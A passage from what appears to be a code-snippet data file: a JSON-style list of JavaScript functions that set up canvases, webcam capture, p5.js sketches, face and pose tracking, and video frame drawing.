preview\\n\\t\\tvar img = new Image();\\n\\t\\timg.onload = function() {\\n\\n\\t\\t\\t//get the image dimensions so we can drawImage at the right aspect ratio\\n\\t\\t\\tsetNewFileDimensions(img);\\n\\t\\t\\t\\n\\t\\t\\t//draw the image onto the canvas\\n\\t\\t canvasPreviewContext.drawImage(img, 0, 0, fileWidth, fileHeight);\\n\\t\\t\\t\\n\\t\\t\\t//initBuffers();\\n\\t\\t\\tinitCubes();\\n\\t\\t\\t//initPlanes();\\n\\t\\t\\t\\n\\t\\t\\t//keep updating cubes based on the options\\n\\t\\t\\tstartUpdateCubesInterval();\\n\\t\\t\\tstopUpdatePlanesInterval();\\n\\t\\t\\t\\n\\t\\t\\t//keep rendering the screen based on mouse/camera position\\n\\t\\t\\tstartThreeInterval();\\n\\n\\t\\t}\\n\\t\\t\\n\\t\\t//set the src of our new file\\n\\t\\timg.src = fileURL;\\n\\t\\t\\n\\t\\t//we should clear the video tag\\n\\t\\tvideoArea.type = \\\"\\\";\\n\\t\\tvideoArea.src = \\\"\\\";\\n\\t\\tvideoArea.pause();\\n\\t\\t\\n\\t\\t//we should stop sampling the video if its there\\n\\t\\tstopSamplingVideo();\\n\\t\\t\\n\\t}\\n\\t\\n}\",\n \"function FrameInitalizer(canvas, form, video, options) {\\n //Opt parse.\\n options = options || {};\\n this.drawFrame = options.override_frame_draw || this._drawFrame\\n this.drawImage = options.override_image_draw || this._drawImage\\n this.drawPolygons = options.override_polygon_draw || this._drawPolygons\\n //I might add a string to the OnChange functions that says where they were called from.\\n //I could also add stuff like OnClear or whatever, not really sure I wanna go for that.\\n //A return a reference to the previous state?\\n //You shouldn't need these unless you do web worker stuff anyways.\\n this.onImageChange = options.on_image_change_functor || (function(self) {\\n return; //self.drawFrame() //Do nothing, if they want to draw on every update, let them set this.\\n });\\n this.onPolygonChange = options.on_polygon_change_functor || (function(self) {\\n return; //self.drawFrame(); //Do nothing, if they want to draw on every update, let them set this.\\n });\\n this.source = options.source || null;\\n this.number_of_frames = options.number_of_frames || 1;\\n //Mandatory positional args.\\n this.canvas = canvas;\\n this.form = form;\\n this.video = video; //video element;\\n this.frames = [new _FrameTracker(0)];\\n this.frame_index = 0;\\n this.updateFrameList(1);\\n }\",\n \"function initialize() {\\n // Create a canvas element to which we will copy video.\\n canvas = document.createElement('canvas');\\n var webcamDimensions = webcam.getDimensions();\\n canvas.width = webcamDimensions.width;\\n canvas.height = webcamDimensions.height;\\n\\n // We need a context for the canvas in order to copy to it.\\n context = canvas.getContext('2d');\\n\\n // create an AR Marker detector using the canvas as the data source\\n detector = ardetector.create( canvas );\\n\\n // Create an AR View for displaying the augmented reality scene\\n view = arview.create( webcam.getDimensions(), canvas );\\n\\n // Set the ARView camera projection matrix according to the detector\\n view.setCameraMatrix( detector.getCameraMatrix(10,1000) );\\n\\n // Place the arview's GL canvas into the DOM.\\n document.getElementById(\\\"application\\\").appendChild( view.glCanvas );\\n }\",\n \"function setup() {\\n createCanvas(640, 480, P2D); // canvas has same dimensions as my webcam\\n background(0);\\n stroke(0, 255, 0);\\n noFill();\\n\\n // make sure the framerate is the same between sending and receiving\\n frameRate(30);\\n\\n // Set to true to turn on logging for the webrtc client\\n WebRTCPeerClient.setDebug(true);\\n\\n // To connect to server over public internet pass the ngrok address\\n // See https://github.com/lisajamhoury/WebRTC-Simple-Peer-Examples#to-run-signal-server-online-with-ngrok\\n WebRTCPeerClient.initSocketClient('https://XXXXXXXX.ngrok.io/');\\n\\n // Start the peer client\\n WebRTCPeerClient.initPeerClient();\\n\\n // start your video\\n // your webcam will always appear below the canvas\\n myVideo = createCapture(VIDEO);\\n myVideo.size(width, height);\\n myVideo.hide();\\n\\n ////// HOW TO DEFINE OTHER PERSON'S VIDEO? //////\\n // otherVideo = createCapture(VIDEO);\\n // otherVideo.size(width, height);\\n\\n}\",\n \"function paintToCanvas() { //to display webcame live in a specified canvas with videos actual height and width\\n\\n const width = video.videoWidth; //getting actual height and width of video\\n const height = video.videoHeight;\\n canvas.width = width; //setting the canvas width and height accordingly \\n canvas.height = height;\\n return setInterval(() => { //by setintertval method we are drawing the recieved video's image in after every 16milli sec \\n ctx.drawImage(video, 0, 0, width, height); //here we are drawing the image recieved in canvas\\n let pixels = ctx.getImageData(0, 0, width, height) //here we are getting the canvas image to make some effect\\n // console.log(pixels)\\n // debugger;\\n // pixels = redeffect(pixels) //here redeffect is called\\n // console.log(hola);\\n pixels = rgbsplit(pixels) // we are calling rgb split to make some changes in the pixels thats is the image we get from canvas\\n ctx.globalAlpha=0.8; \\n // pixels = greenscreen(pixels)\\n ctx.putImageData(pixels, 0, 0); //after we get the changed pixels we put it back in the canvas\\n }, 16);\\n}\",\n \"function setup() {\\n createCanvas(640, 480);\\n video = select(\\\"video\\\") || createCapture(VIDEO);\\n video.size(width, height);\\n\\n const poseNet = ml5.poseNet(video, { flipHorizontal: true }, () => {\\n select(\\\"#status\\\").hide();\\n });\\n\\n poseNet.on(\\\"pose\\\", (newPoses) => {\\n poses = newPoses;\\n });\\n\\n // Hide the video element, and just show the canvas\\n video.hide();\\n}\",\n \"function ytInject() {\\n injectStyle();\\n injectCanvas();\\n injectButton();\\n\\n $(window).resize(function() {\\n var main = $('#vt-main-div').get(0);\\n var canvas = $('#vt-canvas').get(0);\\n\\n main.style.height = $('.video-stream').height();\\n main.style.width = $('.video-stream').width();\\n $('#vt-canvas').height($('vt-main-div').height());\\n $('#vt-canvas').width($('vt-main-div').width());\\n\\n //Scale the canvas to achieve proper resolution\\n canvas.width=$('#vt-main-div').width()*window.devicePixelRatio;\\n canvas.height=$('#vt-main-div').height()*window.devicePixelRatio;\\n canvas.style.width=$('#vt-main-div').width() + \\\"px\\\";\\n canvas.style.height=$('#vt-main-div').height() + \\\"px\\\";\\n });\\n}\",\n \"setup(canvas) {\\n this.engine.renderer.setup(canvas);\\n this.start();\\n }\",\n \"function start() {\\n if (initialized)\\n return;\\n\\n let myCanvas = document.getElementById(\\\"canvas\\\");\\n myCanvas.classList.toggle(\\\"hide\\\");\\n\\n let button = document.getElementById(\\\"webcamButton\\\");\\n button.classList.add(\\\"hide\\\");\\n\\n window.ctx = myCanvas.getContext('2d', {alpha: false});\\n\\n var mycamvas = new camvas(window.ctx, processFrame);\\n initialized = true;\\n}\",\n \"function drawVedio() {\\n setTimeout(() => {\\n canvas.getContext(\\\"2d\\\").drawImage(video, 0, 0, 100, 100);\\n drawVedio();\\n }, 0);\\n }\",\n \"function setupMotionDetection() {\\n md_canvas = document.getElementById('mdCanvas');\\n test_canvas = document.getElementById('testCanvas');\\n md_canvas.width = vid_width;\\n md_canvas.height = vid_height;\\n}\",\n \"function prepareCanvas() {\\n canvas = window._canvas = new fabric.Canvas('canvas');\\n canvas.backgroundColor = '#ffffff';\\n canvas.isDrawingMode = 1;\\n canvas.freeDrawingBrush.color = \\\"black\\\";\\n canvas.freeDrawingBrush.width = 1;\\n canvas.renderAll();\\n //setup listeners \\n canvas.on('mouse:up', function(e) {\\n getFrame();\\n mousePressed = false\\n });\\n canvas.on('mouse:down', function(e) {\\n mousePressed = true\\n });\\n canvas.on('mouse:move', function(e) {\\n recordCoor(e)\\n });\\n}\",\n \"function setupCanvas() {\\n// setup everything else\\n\\tconsole.log(\\\"Setting up canvas...\\\")\\n\\tcanvas = document.getElementById(\\\"drone-sim-canvas\\\");\\n\\twindow.addEventListener(\\\"keyup\\\", keyFunctionUp, false);\\n\\twindow.addEventListener(\\\"keydown\\\", keyFunctionDown, false);\\n\\twindow.onresize = doResize;\\n\\tcanvas.width = window.innerWidth-16;\\n\\tcanvas.height = window.innerHeight-200;\\n\\tconsole.log(\\\"Done.\\\")\\n}\",\n \"function setup() {\\n createCanvas(windowWidth, windowHeight);\\n capture = createCapture(VIDEO);\\n capture.size(windowWidth, windowHeight);\\n capture.hide();\\n background(255, 0, 200);\\n}\",\n \"function setup() {\\n // setup canvas: target\\n canvas = createCanvas(640, 480, WEBGL);\\n canvas.id('p5canvas');\\n background(51);\\n\\n // setup webcam: source\\n video = createCapture(VIDEO);\\n video.size(width, height);\\n video.id('p5video'); // giving an ID to the video to link to seriously\\n video.hide();\\n\\n // switch between modes\\n createP(\\\"To start, press 'a' for blur or 's' for vignette.\\\");\\n\\n // adjust blur\\n createP('Adjust Blur');\\n blurSlider = createSlider(0, 1, 0.5, 0.01);\\n blurSlider.id('blur-slider');\\n\\n // adjust vignette strength\\n createP('Adjust Vignette');\\n vignetteSlider = createSlider(0, 100, 50);\\n vignetteSlider.id('vignette-slider');\\n\\n\\n // Call Seriously function inside the variable: seriously\\n seriously = new Seriously(); // create an object called seriously\\n\\n // Source: webcam, target: canvas\\n src = seriously.source('#p5video');\\n target = seriously.target('#p5canvas');\\n\\n keyReleased();\\n\\n seriously.go();\\n\\n\\n}\",\n \"_setupCanvas () {\\r\\n\\t\\tthis.canvas = document.createElement('canvas');\\r\\n\\t\\tthis.context = this.canvas.getContext('2d');\\r\\n\\r\\n\\t\\tthis.canvas.width = 500;\\r\\n\\t\\tthis.canvas.height = 500;\\r\\n\\r\\n\\t\\tlet body = document.getElementById('body');\\r\\n\\t\\tbody.appendChild(this.canvas);\\r\\n\\t}\",\n \"function render(){\\n var canvas = $('#canvas')[0];\\n var context = canvas.getContext('2d');\\n var video = $('#camera')[0];\\n\\n // copy camera frame from video to canvas so lines can be drawn on\\n try{\\n context.drawImage(video, 0, 0, video.width, video.height);\\n }\\n catch(error){\\n if(error.name != \\\"NS_ERROR_NOT_AVAILABLE\\\"){\\n throw error;\\n }\\n }\\n\\n // save original canvas\\n var subcanvas = $('#binary')[0];\\n var subcontext = subcanvas.getContext('2d');\\n subcontext.drawImage(canvas, canvas.width/4, canvas.height*3/8, canvas.width/2, canvas.height/4, 0, 0, subcanvas.width, subcanvas.height);\\n\\n // remaining detection\\n process(subcanvas);\\n\\n // flip horizontally\\n context.setTransform(1, 0, 0, 1, 0, 0);\\n context.translate(canvas.width, 0);\\n context.scale(-1, 1);\\n\\n // draw line\\n context.lineWidth = 1;\\n context.strokeStyle = 'green';\\n context.beginPath();\\n context.moveTo(canvas.width/4, canvas.height/2);\\n context.lineTo(canvas.width*3/4, canvas.height/2);\\n context.moveTo(canvas.width/2, canvas.height*3/8);\\n context.lineTo(canvas.width/2, canvas.height*5/8);\\n context.stroke();\\n\\n context.strokeStyle = 'blue';\\n context.beginPath();\\n context.moveTo(canvas.width*1/4, canvas.height*3/8);\\n context.lineTo(canvas.width*3/4, canvas.height*3/8);\\n context.lineTo(canvas.width*3/4, canvas.height*5/8);\\n context.lineTo(canvas.width*1/4, canvas.height*5/8);\\n context.closePath();\\n context.stroke();\\n\\n requestAnimationFrame(render);\\n }\",\n \"initialiseCanvas(){\\n let canvas = document.querySelector(\\\".genetic-art .canvas_container .result\\\");\\n canvas.width = this.modelData.width;\\n canvas.height = this.modelData.height;\\n }\",\n \"function setCanvas(){\\n _canvas = document.getElementById('canvas');\\n _stage = _canvas.getContext('2d');\\n _canvas.width = _puzzleWidth;\\n _canvas.height = _puzzleHeight;\\n}\",\n \"async function setupCamera() {\\n const video = document.getElementById('video');\\n const canvas = document.getElementById('canvas');\\n if (!video || !canvas) return null;\\n\\n let msg = '';\\n log('Setting up camera');\\n // setup webcam. note that navigator.mediaDevices requires that page is accessed via https\\n if (!navigator.mediaDevices) {\\n log('Camera Error: access not supported');\\n return null;\\n }\\n let stream;\\n const constraints = {\\n audio: false,\\n video: { facingMode: 'user', resizeMode: 'crop-and-scale' },\\n };\\n if (window.innerWidth > window.innerHeight) constraints.video.width = { ideal: window.innerWidth };\\n else constraints.video.height = { ideal: window.innerHeight };\\n try {\\n stream = await navigator.mediaDevices.getUserMedia(constraints);\\n } catch (err) {\\n if (err.name === 'PermissionDeniedError' || err.name === 'NotAllowedError') msg = 'camera permission denied';\\n else if (err.name === 'SourceUnavailableError') msg = 'camera not available';\\n log(`Camera Error: ${msg}: ${err.message || err}`);\\n return null;\\n }\\n // @ts-ignore\\n if (stream) video.srcObject = stream;\\n else {\\n log('Camera Error: stream empty');\\n return null;\\n }\\n const track = stream.getVideoTracks()[0];\\n const settings = track.getSettings();\\n if (settings.deviceId) delete settings.deviceId;\\n if (settings.groupId) delete settings.groupId;\\n if (settings.aspectRatio) settings.aspectRatio = Math.trunc(100 * settings.aspectRatio) / 100;\\n log(`Camera active: ${track.label}`); // ${str(constraints)}\\n log(`Camera settings: ${str(settings)}`);\\n canvas.addEventListener('click', () => {\\n // @ts-ignore\\n if (video && video.readyState >= 2) {\\n // @ts-ignore\\n if (video.paused) {\\n // @ts-ignore\\n video.play();\\n detectVideo(video, canvas);\\n } else {\\n // @ts-ignore\\n video.pause();\\n }\\n }\\n // @ts-ignore\\n log(`Camera state: ${video.paused ? 'paused' : 'playing'}`);\\n });\\n return new Promise((resolve) => {\\n video.onloadeddata = async () => {\\n // @ts-ignore\\n canvas.width = video.videoWidth;\\n // @ts-ignore\\n canvas.height = video.videoHeight;\\n // @ts-ignore\\n video.play();\\n detectVideo(video, canvas);\\n resolve(true);\\n };\\n });\\n}\",\n \"function setup() {\\n createCanvas(1280, 480); // Create a display window\\n img = loadImage('lk.jpg'); // Load the image\\n capture = createCapture(VIDEO); // Get the capture video\\n capture.id(\\\"video_elemyent\\\"); // Set the video Id\\n capture.size(640, 480); // Define video size to 640x480\\n capture.hide() // Hide the streaning video\\n faceapi = ml5.faceApi(capture, faceReady);\\n}\",\n \"function setup() {\\n let canvasDiv = document.getElementById('animation');\\n canvasWidth = canvasDiv.offsetWidth;\\n canvasHeight = canvasDiv.offsetHeight;\\n pipesAmount = Math.floor(canvasHeight / (minPipeHeight + 1));\\n pipesWidth = canvasWidth / (pipesAmount + 1);\\n // Creates canvas\\n let canvas = createCanvas(canvasWidth, canvasHeight);\\n // Declares the parent div of the canvas\\n canvas.parent('animation');\\n}\",\n \"function setCanvas(){\\r\\n _canvas = document.getElementById('canvas');\\r\\n _stage = _canvas.getContext('2d');\\r\\n _canvas.width = _puzzleWidth;\\r\\n _canvas.height = _puzzleHeight;\\r\\n _canvas.style.border = \\\"1px solid black\\\";\\r\\n}\",\n \"init() {\\n const wrapper = document.getElementById('canvasWrapper');\\n let newCanvas;\\n if (!document.querySelector('canvas')) {\\n newCanvas = document.createElement('canvas');\\n newCanvas.width = this.width;\\n newCanvas.height = this.height;\\n newCanvas.setAttribute('id', 'canvas');\\n this.context = newCanvas.getContext('2d');\\n wrapper.appendChild(newCanvas);\\n } else {\\n newCanvas = document.getElementById('canvas');\\n newCanvas.width = this.width;\\n newCanvas.height = this.height;\\n this.context = newCanvas.getContext('2d');\\n }\\n this.style(wrapper);\\n }\",\n \"drawScreen () {\\n if(this.video1.canplaythrough && this.video2.canplaythrough) {\\n this.context.putImageData(this.video1.context.getImageData(0,0, 320, 180), 0, 0);\\n this.context.putImageData(this.video2.context.getImageData(0,0, 320, 180), 0, 0);\\n this.context.drawImage(this.video2.canvas, 0, 0);\\n this.context.drawImage(this.video1.canvas, 0, 0);\\n // let frame1 = this.video2.context.getImageData(0,0, 320, 180);\\n // this.context.putImageData(frame1, 0, 0);\\n }\\n }\",\n \"createCanvas() {\\n this.canvas = document.createElement('canvas');\\n this.canvas.width = this.width * this.resolution;\\n this.canvas.height = this.height * this.resolution;\\n this.context = this.canvas.getContext('2d');\\n }\",\n \"_addCanvas() { // add canvas will add a track to the screen by changing the CSS of div elements and buttons, can add up to 4 tracks\\n if (this.numberOfCanvases == 1) { // set up canvas context for visualizer\\n this.canvasContainer = document.getElementById('canvasContainer1');\\n this.canvas = document.getElementById('canvas1');\\n this.canvasCtx = this.canvas.getContext(\\\"2d\\\");\\n this.canvasOffset = 55;\\n this.numberOfTracks = 0;\\n this.canvas.classList.remove(\\\"canvas3\\\");\\n this.canvas.classList.add(\\\"canvas1\\\");\\n this.canvasContainer.classList.remove(\\\"canvas-container3\\\");\\n this.canvasContainer.classList.add(\\\"canvas-container1\\\");\\n } else if (this.numberOfCanvases == 2) {\\n this._greyCanvas();\\n this.canvasContainer = document.getElementById('canvasContainer2');\\n this.canvas = document.getElementById('canvas2');\\n this.canvasCtx = this.canvas.getContext(\\\"2d\\\");\\n this.canvasOffset = 55;\\n this.numberOfTracks = 0;\\n this.canvas.classList.remove(\\\"canvas3\\\");\\n this.canvas.classList.add(\\\"canvas1\\\");\\n this.canvasContainer.classList.remove(\\\"canvas-container3\\\");\\n this.canvasContainer.classList.add(\\\"canvas-container1\\\");\\n } else if (this.numberOfCanvases == 3) {\\n this._greyCanvas();\\n this.canvasContainer = document.getElementById('canvasContainer3');\\n this.canvas = document.getElementById('canvas3');\\n this.canvasCtx = this.canvas.getContext(\\\"2d\\\");\\n this.canvasOffset = 55;\\n this.numberOfTracks = 0;\\n this.canvas.classList.remove(\\\"canvas3\\\");\\n this.canvas.classList.add(\\\"canvas1\\\");\\n this.canvasContainer.classList.remove(\\\"canvas-container3\\\");\\n this.canvasContainer.classList.add(\\\"canvas-container1\\\");\\n } else if (this.numberOfCanvases == 4) {\\n this._greyCanvas();\\n this.canvasContainer = document.getElementById('canvasContainer4');\\n this.canvas = document.getElementById('canvas4');\\n this.canvasCtx = this.canvas.getContext(\\\"2d\\\");\\n this.canvasOffset = 55;\\n this.numberOfTracks = 0;\\n this.canvas.classList.remove(\\\"canvas3\\\");\\n this.canvas.classList.add(\\\"canvas1\\\");\\n this.canvasContainer.classList.remove(\\\"canvas-container3\\\");\\n this.canvasContainer.classList.add(\\\"canvas-container1\\\");\\n }\\n }\",\n \"initializeCanvas(){\\n\\t\\tconsole.log(`======] Init Canvas [======`, this.state);\\n\\n\\t\\tif(this.state.device.width && this.state.device.height){\\n\\t\\t\\tthis.canvas = document.createElement('canvas');\\n\\t\\t\\tthis.canvas.id = 'screen-canvas';\\n\\t\\t\\tthis.canvas.width = this.state.device.width/2;\\n\\t\\t\\tthis.canvas.height = this.state.device.height/2;\\n\\t\\t\\tthis.canvas.style = 'margin: 50px; border: 1px solid black; cursor: pointer;';\\n\\t\\t\\tthis.canvas.onmouseover = this.cursorOver.bind(this);\\n\\t\\t\\tthis.canvas.onmouseout = this.cursorOut.bind(this);\\n\\t\\t\\tthis.canvas.onmousedown = this.interactStart.bind(this);\\n\\t\\t\\tthis.canvas.onmousemove = this.interactMove.bind(this);\\n\\t\\t\\tthis.canvas.onmouseup = this.interactEnd.bind(this);\\n\\t\\t\\tthis.canvas.onmousewheel = this.mouseWheel.bind(this);\\n\\t\\t\\tdocument.body.onkeydown = this.keyDown.bind(this);\\n\\t\\t\\tdocument.body.onkeyup = this.keyUp.bind(this);\\n\\n\\t\\t\\tdocument.getElementById('screen-container').appendChild(this.canvas)\\n\\t\\t\\tthis.ctx = this.canvas.getContext('2d');\\n\\t\\t}else{\\n\\t\\t\\talert(`Device resolution failed to be detected`);\\n\\t\\t}\\n\\t}\",\n \"function setup() {\\n createCanvas(800, 600);\\n pixelDensity(1); //for retina displays\\n capture = createCapture(VIDEO);\\n capture.size(width / vScale, height / vScale);\\n capture.hide();\\n\\n\\n}\",\n \"function createCanvasZone(canvas,ctx,video){\\r\\n \\r\\n var BtnZone = document.createElement('div');\\r\\n BtnZone.id=\\\"canvasBtnZone\\\";\\r\\n \\r\\n var clear_btn = document.createElement('input');\\r\\n clear_btn.type = \\\"button\\\";\\r\\n clear_btn.id = 'clearCanvas';\\r\\n clear_btn.className = \\\"canvas_btn\\\";\\r\\n clear_btn.value='Clear';\\r\\n clear_btn.onclick=function(){clearArea(ctx)};\\r\\n \\r\\n var close_btn = document.createElement('input');\\r\\n close_btn.type = \\\"button\\\";\\r\\n close_btn.className = \\\"canvas_btn\\\";\\r\\n close_btn.id = 'closeCanvas';\\r\\n close_btn.value='Close';\\r\\n close_btn.onclick=function(){BtnZone.remove();};\\r\\n \\r\\n\\r\\n \\r\\n var send_btn = document.createElement('input');\\r\\n send_btn.type = \\\"button\\\";\\r\\n send_btn.id = 'sendscreenShot';\\r\\n send_btn.className = \\\"canvas_btn\\\";\\r\\n send_btn.value='Send screenshot';\\r\\n send_btn.onclick=function(){sendScreenshot()};\\r\\n \\r\\n \\r\\n $('#CanvasZone').append(BtnZone);\\r\\n $('#canvasBtnZone').append(clear_btn);\\r\\n $('#canvasBtnZone').append(close_btn);\\r\\n $('#canvasBtnZone').append(send_btn); \\r\\n $('#canvasBtnZone').append(canvas); \\r\\n \\r\\n InitThis(ratio,canvas,video);\\r\\n}\",\n \"function takePhoto (e) {\\nlet ctx = outputCanvas.getContext('2d')\\nctx.drawImage(inputVideo,0,0)\\n}\",\n \"function initCanvas(width, height){}\",\n \"function setup()\\n{\\n const maxWidth = Math.min(windowWidth, windowHeight);\\n pixelDensity(1);\\n outputWidth = maxWidth;\\n outputHeight = maxWidth * 0.75; // 4:3\\n\\n createCanvas(outputWidth, outputHeight);\\n\\n // webcam capture\\n videoInput = createCapture(VIDEO);\\n videoInput.size(outputWidth, outputHeight);\\n videoInput.hide();\\n\\n // select filter\\n const sel = createSelect();\\n const selectList = ['Donal trump', 'Dog Filter', 'billgate', 'pikachu']; // list of filters\\n sel.option('Select Filter', -1); // Default no filter\\n for (let i = 0; i < selectList.length; i++)\\n {\\n sel.option(selectList[i], i);\\n }\\n sel.changed(applyFilter);\\n\\n // tracker\\n faceTracker = new clm.tracker();\\n faceTracker.init();\\n faceTracker.start(videoInput.elt);\\n}\",\n \"function setUpCanvas() {\\r\\n canvas = document.createElement(\\\"CANVAS\\\");\\r\\n canvas.id = \\\"canvas\\\";\\r\\n canvas.style.width = \\\"100%\\\";\\r\\n canvas.style.height = \\\"100%\\\";\\r\\n canvas.style.background = 'black';\\r\\n canvas.style.marginLeft = 'auto';\\r\\n canvas.style.marginRight = 'auto';\\r\\n canvas.style.display = 'block';\\r\\n }\",\n \"init() {\\n if (this.canvas.getContext) {\\n this.start();\\n } else {\\n canvas.textContent = 'Sorry canvas not suport';\\n }\\n }\",\n \"function adaptElements() {\\n const rect = document.body.getBoundingClientRect();\\n const screenWidth = rect.width;\\n const screenHeight = rect.height;\\n const videoWidth = video.videoWidth;\\n const videoHeight = video.videoHeight;\\n const widthRatio = videoWidth / screenWidth;\\n const heightRatio = videoHeight / screenHeight;\\n const ratio = Math.min(widthRatio, heightRatio);\\n // set image size and offset\\n imageWidth = Math.floor(ratio * screenWidth + 0.5);\\n imageHeight = Math.floor(ratio * screenHeight + 0.5);\\n videoX = Math.max(0, Math.floor(0.5 * (videoWidth - imageWidth) + 0.5));\\n videoY = Math.max(0, Math.floor(0.5 * (videoHeight - imageHeight) + 0.5));\\n // adapt canvas size to input video size\\n canvas.width = imageWidth;\\n canvas.height = imageHeight;\\n // adapt canvas size to screen\\n image.width = screenWidth;\\n image.height = screenHeight;\\n // calculate video screen size and offset\\n const videoScreenWidth = Math.floor(videoWidth / ratio + 0.5);\\n const videoScreenHeight = Math.floor(videoHeight / ratio + 0.5);\\n const videoScreenX = Math.floor(videoX / ratio + 0.5);\\n const videoScreenY = Math.floor(videoY / ratio + 0.5);\\n // resize and position video an screen\\n video.width = videoScreenWidth;\\n video.height = videoScreenHeight;\\n video.style.left = `${-videoScreenX}px`;\\n video.style.top = `${-videoScreenY}px`;\\n // show live video\\n resetVideo();\\n }\",\n \"static init(canvas){\\r\\n\\r\\n\\r\\n\\t}\",\n \"function playVideo(videoTimeline) {\\n\\n const timelineNode = videoTimeline.next\\n const video = videoTimeline.data.videoCore\\n const videoEndTime = videoTimeline.data.metadata.endTime\\n \\n loop = () => {\\n if (!window.currentlyPlaying) {\\n return\\n }\\n\\n if (videoEndTime < video.currentTime + 0.01) {\\n /* Pausing the current video if necessary */\\n video.pause()\\n\\n if (timelineNode) {\\n\\n /* Setting the current switch value */\\n if (timelineNode.data.metadata.ratio == 'fit') {\\n window.currentRatio = 'fit'\\n document.querySelector('.toogle-fit').click()\\n } else if (timelineNode.data.metadata.ratio == 'strech') {\\n window.currentRatio = 'strech'\\n document.querySelector('.toogle-strech').click()\\n }\\n\\n /* Starting next video from the beginning */\\n timelineNode.data.videoCore.currentTime = timelineNode.data.metadata.startTime\\n\\n /* Updating the window.currentVideoSelectedForPlayback variable */\\n window.currentVideoSelectedForPlayback = timelineNode\\n\\n /* Playing the next frame */\\n playVideo(timelineNode)\\n }\\n } else {\\n /* Updating the UI */\\n renderUIAfterFrameChange(videoTimeline)\\n\\n /* Drawing at 30fps (1000 / 30 = 33,3333..)*/\\n setTimeout(loop, 33.3333333) \\n }\\n }\\n\\n alpha1 = canvas.width * video.videoHeight / canvas.height - video.videoWidth\\n alpha2 = video.videoWidth * canvas.height / canvas.width - video.videoHeight\\n\\n if (alpha1 < alpha2) {\\n canvas.width = video.videoWidth + alpha1\\n canvas.height = video.videoHeight\\n } else {\\n canvas.width = video.videoWidth\\n canvas.height = video.videoHeight + alpha2\\n }\\n \\n loop()\\n video.play()\\n}\",\n \"function gStart() {\\n\\n // PREVENT DOUBLE CLICK FROM SELECTING THE CANVAS:\\n\\n var noSelectHTML = \\\"\\\"\\n + \\\" \\\"\\n ;\\n var headElement = document.getElementsByTagName('head')[0];\\n headElement.innerHTML = noSelectHTML + headElement.innerHTML;\\n\\n // ADD VIEWER ELEMENTS TO DOCUMENT\\n\\n var viewerHTML = \\\"\\\"\\n\\n + \\\" \\\"\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n + \\\" \\\"\\n +\\n (isShowingRenderer\\n ?\\n \\\"
    \\\"\\n + \\\"
    \\\"\\n :\\n \\\" \\\"\\n + \\\" \\\"\\n )\\n\\n + \\\" \\\"\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n + \\\" \\\"\\n\\n + \\\" \\\"\\n + \\\"
    \\\"\\n + \\\"
    \\\"\\n\\n// + \\\" \\\"\\n ;\\n window.bodyElement = document.getElementsByTagName('body')[0];\\n bodyElement.innerHTML = '
    ' + viewerHTML + bodyElement.innerHTML + '
    ';\\n bodyElement.style.color = blackBackgroundColor;\\n\\n // SET ALL THE SCREEN-FILLING ELEMENTS TO THE SIZE OF THE SCREEN.\\n\\n slide.width = width();\\n sketch_canvas.width = width();\\n events_canvas.width = width();\\n\\n slide.height = height();\\n sketch_canvas.height = height();\\n events_canvas.height = height();\\n\\n background.width = width();\\n background.height = height();\\n background.style.backgroundColor = backgroundColor;\\n\\n // INITIALIZE THE SKETCH CANVAS\\n\\n sketch_canvas.animate = function(elapsed) { sketchPage.animate(elapsed); }\\n sketch_canvas.overlay = function() { sketchPage.overlay(); }\\n sketch_canvas.setup = function() {\\n window.onbeforeunload = function(e) { sketchBook.onbeforeunload(e); }\\n setPage(0);\\n }\\n\\n events_canvas.keyDown = function(key) { e2s(); sketchPage.keyDown(key); }\\n events_canvas.keyUp = function(key) { e2s(); sketchPage.keyUp(key); }\\n events_canvas.mouseDown = function(x, y, z) { e2s(); sketchPage.mouseDown(x, y, z); }\\n events_canvas.mouseDrag = function(x, y, z) { e2s(); sketchPage.mouseDrag(x, y, z); }\\n events_canvas.mouseMove = function(x, y, z) { e2s(); sketchPage.mouseMove(x, y, z); }\\n events_canvas.mouseUp = function(x, y, z) { e2s(); sketchPage.mouseUp (x, y, z); }\\n\\n fourStart();\\n\\n if (window['scene_div'] !== undefined) {\\n scene_div.width = width();\\n scene_div.height = height();\\n var sceneElement = document.getElementById('scene_div');\\n sceneElement.appendChild(renderer.domElement);\\n }\\n\\n // SET SIZE OF WEBGL CANVAS\\n\\n webgl_canvas.width = width();\\n webgl_canvas.height = height();\\n\\n // START WEBGL MODELER\\n\\n if (isPhone()) {\\n sketchPadding *= 2;\\n }\\n\\n lightTracker = new LightTracker(video_analysis_canvas);\\n\\n window.ctScene = new CT.Scene(webgl_canvas);\\n ctScene.setLight(0, [ 1, 1, 1]);\\n ctScene.setLight(1, [-1,-1,-1], [.1, .05, 0]);\\n ctScene.setFOV(isPhone() ? PI / 2.5 : PI / 6);\\n\\n initCTPath();\\n\\n // START ALL CANVASES RUNNING\\n\\n var c = document.getElementsByTagName(\\\"canvas\\\");\\n\\n initEventHandlers(events_canvas);\\n initSketchCanvas();\\n\\n // SET SIZE OF VIDEO CANVAS\\n\\n video_canvas.width = width();\\n video_canvas.height = height();\\n\\n // server = new Server();\\n // socket = server.connectSocket();\\n\\n midi = new Midi();\\n\\n document.title = 'Chalktalk';\\n }\",\n \"function init(options) {\\n\\t\\t// sanity check\\n\\t\\tif (!options) {\\n\\t\\t\\tthrow 'No options object provided';\\n\\t\\t}\\n\\n\\t\\t// incoming options with defaults\\n\\t\\tvideo = options.video || document.createElement('video');\\n\\t\\tmotionCanvas = options.motionCanvas || document.createElement('canvas');\\n\\t\\tcaptureIntervalTime = options.captureIntervalTime || 100;\\n\\t\\tcaptureWidth = options.captureWidth || 640;\\n\\t\\tcaptureHeight = options.captureHeight || 480;\\n\\t\\tdiffWidth = options.diffWidth || 64;\\n\\t\\tdiffHeight = options.diffHeight || 48;\\n\\t\\tpixelDiffThreshold = options.pixelDiffThreshold || 32;\\n\\t\\tscoreThreshold = options.scoreThreshold || 16;\\n\\t\\tincludeMotionBox = options.includeMotionBox || false;\\n\\t\\tincludeMotionPixels = options.includeMotionPixels || false;\\n\\n\\t\\t// callbacks\\n\\t\\tinitSuccessCallback = options.initSuccessCallback || function() {};\\n\\t\\tinitErrorCallback = options.initErrorCallback || function() {};\\n\\t\\tstartCompleteCallback = options.startCompleteCallback || function() {};\\n\\t\\tcaptureCallback = options.captureCallback || function() {};\\n\\n\\t\\t// non-configurable\\n\\t\\tcaptureCanvas = document.createElement('canvas');\\n\\t\\tdiffCanvas = 